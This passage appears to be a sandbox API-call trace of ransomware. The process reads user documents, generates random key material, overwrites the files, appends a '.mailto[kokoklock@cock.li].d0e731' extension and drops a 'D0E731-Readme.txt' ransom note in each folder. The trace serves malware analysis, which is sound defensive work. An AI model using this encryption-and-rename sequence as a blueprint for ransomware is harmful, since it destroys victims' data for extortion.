lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x23b3f6c0*=0x4096, lpOverlapped=0x0) returned 1 [0079.914] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.914] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd310 [0079.914] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.914] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491df8 [0079.914] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491df8) returned 1 [0079.914] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0079.914] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492000 [0079.914] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491e98 [0079.914] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e98) returned 1 [0079.914] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.915] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd310) returned 1 [0079.915] WriteFile (in: hFile=0x440, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x23b3f6c0, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x23b3f6c0*=0x4096, lpOverlapped=0x0) returned 1 [0079.915] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0079.915] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0xbc80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.915] WriteFile (in: hFile=0x440, lpBuffer=0x3492000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x23b3f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3492000*, lpNumberOfBytesWritten=0x23b3f6f8*=0x20, lpOverlapped=0x0) returned 1 [0079.915] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492000) returned 1 [0079.915] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0079.915] WriteFile (in: hFile=0x440, lpBuffer=0x3491d30*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x23b3f70c, lpOverlapped=0x0 | out: lpBuffer=0x3491d30*, lpNumberOfBytesWritten=0x23b3f70c*=0x8, lpOverlapped=0x0) returned 1 [0079.915] WriteFile (in: hFile=0x440, lpBuffer=0x23b3f724*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x23b3f70c, lpOverlapped=0x0 | out: lpBuffer=0x23b3f724*, lpNumberOfBytesWritten=0x23b3f70c*=0x4, lpOverlapped=0x0) returned 1 [0079.915] WriteFile (in: hFile=0x440, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x23b3f70c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x23b3f70c*=0x4, lpOverlapped=0x0) returned 1 [0079.915] WriteFile (in: hFile=0x440, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x23b3f70c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x23b3f70c*=0x6c, lpOverlapped=0x0) returned 1 [0079.915] WriteFile (in: hFile=0x440, lpBuffer=0x3492028*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x23b3f70c, lpOverlapped=0x0 | out: lpBuffer=0x3492028*, lpNumberOfBytesWritten=0x23b3f70c*=0x20, lpOverlapped=0x0) returned 1 [0079.915] WriteFile (in: hFile=0x440, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x23b3f70c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x23b3f70c*=0x4, lpOverlapped=0x0) returned 1 [0079.916] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492028) returned 1 [0079.916] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e70) returned 1 [0079.916] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491d30) returned 1 [0079.916] CloseHandle (hObject=0x440) returned 1 [0079.916] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xcc) returned 0x3475a10 [0079.916] wcscpy (in: _Dest=0x3475a10, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\Kk8Us_WY.docx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\Kk8Us_WY.docx") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\Kk8Us_WY.docx" [0079.916] wcscat (in: _Dest=0x3475a10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\Kk8Us_WY.docx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\Kk8Us_WY.docx.mailto[kokoklock@cock.li].d0e731" [0079.916] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\Kk8Us_WY.docx" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\kk8us_wy.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\Kk8Us_WY.docx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\kk8us_wy.docx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0079.917] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\Kk8Us_WY.docx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0079.917] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475a10) returned 1 [0079.917] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\Kk8Us_WY.docx", dwFileAttributes=0x20) returned 0 [0079.917] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x94) returned 0x33eb4f0 [0079.917] wcscpy (in: _Dest=0x33eb4f0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\" [0079.917] wcscat (in: _Dest=0x33eb4f0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\D0E731-Readme.txt" [0079.917] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\d0e731-readme.txt")) returned 0xffffffff [0079.917] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440 [0079.918] WriteFile (in: hFile=0x440, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x23b3f708, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x23b3f708*=0x481, lpOverlapped=0x0) returned 1 [0079.919] CloseHandle (hObject=0x440) returned 1 [0079.919] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb4f0) returned 1 [0079.919] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bd38) returned 1 [0079.919] RtlExitUserThread (Status=0x1) Thread: id = 989 os_tid = 0x1678 [0079.922] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\m0Inl.odt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\m0inl.odt")) returned 0x20 [0079.922] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\m0Inl.odt", dwFileAttributes=0x20) returned 1 [0079.922] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\m0Inl.odt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\m0inl.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440 [0079.922] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x23bbfa28 | out: lpFileSize=0x23bbfa28*=18774) returned 1 [0079.922] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x4952, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.922] ReadFile (in: hFile=0x440, lpBuffer=0x23bbf9fc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23bbf9f8, lpOverlapped=0x0 | out: lpBuffer=0x23bbf9fc*, lpNumberOfBytesRead=0x23bbf9f8*=0x4, lpOverlapped=0x0) returned 1 [0079.922] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.923] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492000 [0079.923] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492028 [0079.923] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491f38 [0079.923] NtQuerySystemTime (in: CurrentTime=0x23bbf9d4 | out: CurrentTime=0x23bbf9d4*=132121176378136042) returned 0x0 [0079.923] RtlRandom (in: Seed=0x23bbf9e0 | out: Seed=0x23bbf9e0) returned 0x1425984 [0079.923] RtlRandom (in: Seed=0x23bbf9e0 | out: Seed=0x23bbf9e0) returned 0xf4647374 [0079.923] RtlRandom (in: Seed=0x23bbf9e0 | out: Seed=0x23bbf9e0) returned 0xba4aedb6 [0079.923] RtlRandom (in: Seed=0x23bbf9e0 | out: Seed=0x23bbf9e0) returned 0x9bbe3a73 [0079.923] RtlRandom (in: Seed=0x23bbf9e0 | out: Seed=0x23bbf9e0) returned 0xd6bc65b8 [0079.923] RtlRandom (in: Seed=0x23bbf9e0 | out: Seed=0x23bbf9e0) returned 0x960e1a33 [0079.923] RtlRandom (in: Seed=0x23bbf9e0 | out: Seed=0x23bbf9e0) returned 0x55ba18f0 [0079.923] RtlRandom (in: Seed=0x23bbf9e0 | out: Seed=0x23bbf9e0) returned 0x3e5d2bd2 [0079.923] RtlRandom (in: Seed=0x23bbf9e0 | out: Seed=0x23bbf9e0) returned 0xfc864951 [0079.923] RtlRandom (in: Seed=0x23bbf9e0 | out: Seed=0x23bbf9e0) returned 0x542d7dc3 [0079.923] RtlRandom (in: Seed=0x23bbf9e0 | out: Seed=0x23bbf9e0) returned 0x8e19268f [0079.923] RtlRandom (in: Seed=0x23bbf9e0 | out: Seed=0x23bbf9e0) returned 0xce83eade [0079.923] RtlRandom (in: Seed=0x23bbf9e0 | out: Seed=0x23bbf9e0) returned 0xe0af632 [0079.923] RtlRandom (in: Seed=0x23bbf9e0 | out: Seed=0x23bbf9e0) returned 0xa78336ea [0079.923] RtlRandom (in: Seed=0x23bbf9e0 | out: Seed=0x23bbf9e0) returned 0x95de82cf [0079.923] RtlRandom (in: Seed=0x23bbf9e0 | out: Seed=0x23bbf9e0) returned 0xfd7e799f [0079.923] RtlRandom (in: Seed=0x23bbf9e0 | out: Seed=0x23bbf9e0) returned 0x58c45be [0079.923] RtlRandom (in: Seed=0x23bbf9e0 | out: Seed=0x23bbf9e0) returned 0x3487abf7 [0079.923] RtlRandom (in: Seed=0x23bbf9e0 | out: Seed=0x23bbf9e0) returned 0xf0e39fac [0079.923] RtlRandom (in: Seed=0x23bbf9e0 | out: Seed=0x23bbf9e0) returned 0x5bff592e [0079.923] RtlRandom (in: Seed=0x23bbf9e0 | out: Seed=0x23bbf9e0) returned 0xf91d03ae [0079.923] RtlRandom (in: Seed=0x23bbf9e0 | out: Seed=0x23bbf9e0) returned 0xd0a7d2ef [0079.923] RtlRandom (in: Seed=0x23bbf9e0 | out: Seed=0x23bbf9e0) returned 0x8a7a7f4d [0079.923] RtlRandom (in: Seed=0x23bbf9e0 | out: Seed=0x23bbf9e0) returned 0x7822a779 [0079.923] RtlRandom (in: Seed=0x23bbf9e0 | out: Seed=0x23bbf9e0) returned 0x345ee814 [0079.923] RtlRandom (in: Seed=0x23bbf9e0 | out: Seed=0x23bbf9e0) returned 0x8e7a1005 [0079.923] RtlRandom (in: Seed=0x23bbf9e0 | out: Seed=0x23bbf9e0) returned 0xbfa3427f [0079.923] RtlRandom (in: Seed=0x23bbf9e0 | out: Seed=0x23bbf9e0) returned 0xcd419af7 [0079.923] RtlRandom (in: Seed=0x23bbf9e0 | out: Seed=0x23bbf9e0) returned 0x3074b6cf [0079.923] RtlRandom (in: Seed=0x23bbf9e0 | out: Seed=0x23bbf9e0) returned 0xd43209be [0079.923] RtlRandom (in: Seed=0x23bbf9e0 | out: Seed=0x23bbf9e0) returned 0x1a2c3975 [0079.924] RtlRandom (in: Seed=0x23bbf9e0 | out: Seed=0x23bbf9e0) returned 0x23b764bb [0079.934] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0079.934] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492000) returned 1 [0079.934] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0079.934] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.934] ReadFile (in: hFile=0x440, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x23bbf9ac, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x23bbf9ac*=0x4096, lpOverlapped=0x0) returned 1 [0079.934] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.934] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd310 [0079.934] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.934] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491df8 [0079.934] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491df8) returned 1 [0079.935] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0079.935] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492000 [0079.935] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491e98 [0079.935] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e98) returned 1 [0079.935] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.935] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd310) returned 1 [0079.935] WriteFile (in: hFile=0x440, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x23bbf9ac, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x23bbf9ac*=0x4096, lpOverlapped=0x0) returned 1 [0079.935] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0079.935] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x4956, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.935] WriteFile (in: hFile=0x440, lpBuffer=0x3492000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x23bbf9e4, lpOverlapped=0x0 | out: lpBuffer=0x3492000*, lpNumberOfBytesWritten=0x23bbf9e4*=0x20, lpOverlapped=0x0) returned 1 [0079.936] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492000) returned 1 [0079.936] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0079.936] WriteFile (in: hFile=0x440, lpBuffer=0x3491d30*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x23bbf9f8, lpOverlapped=0x0 | out: lpBuffer=0x3491d30*, lpNumberOfBytesWritten=0x23bbf9f8*=0x8, lpOverlapped=0x0) returned 1 [0079.936] WriteFile (in: hFile=0x440, lpBuffer=0x23bbfa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x23bbf9f8, lpOverlapped=0x0 | out: lpBuffer=0x23bbfa10*, lpNumberOfBytesWritten=0x23bbf9f8*=0x4, lpOverlapped=0x0) returned 1 [0079.936] WriteFile (in: hFile=0x440, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x23bbf9f8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x23bbf9f8*=0x4, lpOverlapped=0x0) returned 1 [0079.936] WriteFile (in: hFile=0x440, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x23bbf9f8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x23bbf9f8*=0x6c, lpOverlapped=0x0) returned 1 [0079.936] WriteFile (in: hFile=0x440, lpBuffer=0x3492028*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x23bbf9f8, lpOverlapped=0x0 | out: lpBuffer=0x3492028*, lpNumberOfBytesWritten=0x23bbf9f8*=0x20, lpOverlapped=0x0) returned 1 [0079.936] WriteFile (in: hFile=0x440, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x23bbf9f8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x23bbf9f8*=0x4, lpOverlapped=0x0) returned 1 [0079.936] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492028) returned 1 [0079.936] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e70) returned 1 [0079.936] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491d30) returned 1 [0079.936] CloseHandle (hObject=0x440) returned 1 [0079.936] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x33f6918 [0079.936] wcscpy (in: _Dest=0x33f6918, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\m0Inl.odt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\m0Inl.odt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\m0Inl.odt" [0079.936] wcscat (in: _Dest=0x33f6918, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\m0Inl.odt.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\m0Inl.odt.mailto[kokoklock@cock.li].d0e731" [0079.937] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\m0Inl.odt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\m0inl.odt"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\m0Inl.odt.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\m0inl.odt.mailto[kokoklock@cock.li].d0e731")) returned 1 [0079.937] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\m0Inl.odt.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0079.937] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f6918) returned 1 [0079.937] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\m0Inl.odt", dwFileAttributes=0x20) returned 0 [0079.937] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x94) returned 0x33eb4f0 [0079.937] wcscpy (in: _Dest=0x33eb4f0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\" [0079.937] wcscat (in: _Dest=0x33eb4f0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\D0E731-Readme.txt" [0079.938] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\d0e731-readme.txt")) returned 0x20 [0079.938] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb4f0) returned 1 [0079.938] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2840) returned 1 [0079.938] RtlExitUserThread (Status=0x1) Thread: id = 990 os_tid = 0x167c [0079.939] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x94) returned 0x33eaeb0 [0079.939] wcscpy (in: _Dest=0x33eaeb0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ" [0079.939] wcscat (in: _Dest=0x33eaeb0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" [0079.939] wcscat (in: _Dest=0x33eaeb0, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\*") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\*" [0079.939] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34ad3c0 [0079.939] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\*", lpFindFileData=0x34ad3c0 | out: lpFindFileData=0x34ad3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50f1abe0, ftCreationTime.dwHighDateTime=0x1d4cc5c, ftLastAccessTime.dwLowDateTime=0x338f9aa0, ftLastAccessTime.dwHighDateTime=0x1d4d556, ftLastWriteTime.dwLowDateTime=0x338f9aa0, ftLastWriteTime.dwHighDateTime=0x1d4d556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0298 [0079.939] wcscmp (_String1=".", _String2=".") returned 0 [0079.939] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x34ad3c0 | out: lpFindFileData=0x34ad3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50f1abe0, ftCreationTime.dwHighDateTime=0x1d4cc5c, ftLastAccessTime.dwLowDateTime=0x338f9aa0, ftLastAccessTime.dwHighDateTime=0x1d4d556, ftLastWriteTime.dwLowDateTime=0x338f9aa0, ftLastWriteTime.dwHighDateTime=0x1d4d556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.939] wcscmp (_String1="..", _String2=".") returned 1 [0079.939] wcscmp (_String1="..", _String2="..") returned 0 [0079.939] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x34ad3c0 | out: lpFindFileData=0x34ad3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ae926e0, ftCreationTime.dwHighDateTime=0x1d4ccf0, ftLastAccessTime.dwLowDateTime=0x69591cb0, ftLastAccessTime.dwHighDateTime=0x1d4d263, ftLastWriteTime.dwLowDateTime=0x69591cb0, ftLastWriteTime.dwHighDateTime=0x1d4d263, nFileSizeHigh=0x0, nFileSizeLow=0x18485, dwReserved0=0x0, dwReserved1=0x0, cFileName="DDmQO8hl2GW91mUC8.odp", cAlternateFileName="DDMQO8~1.ODP")) returned 1 [0079.939] wcscmp (_String1="DDmQO8hl2GW91mUC8.odp", _String2=".") returned 1 [0079.939] wcscmp (_String1="DDmQO8hl2GW91mUC8.odp", _String2="..") returned 1 [0079.939] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbc) returned 0x3431bf0 [0079.939] wcscpy (in: _Dest=0x3431bf0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ" [0079.940] wcscat (in: _Dest=0x3431bf0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" [0079.940] wcscat (in: _Dest=0x3431bf0, _Source="DDmQO8hl2GW91mUC8.odp" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\DDmQO8hl2GW91mUC8.odp") 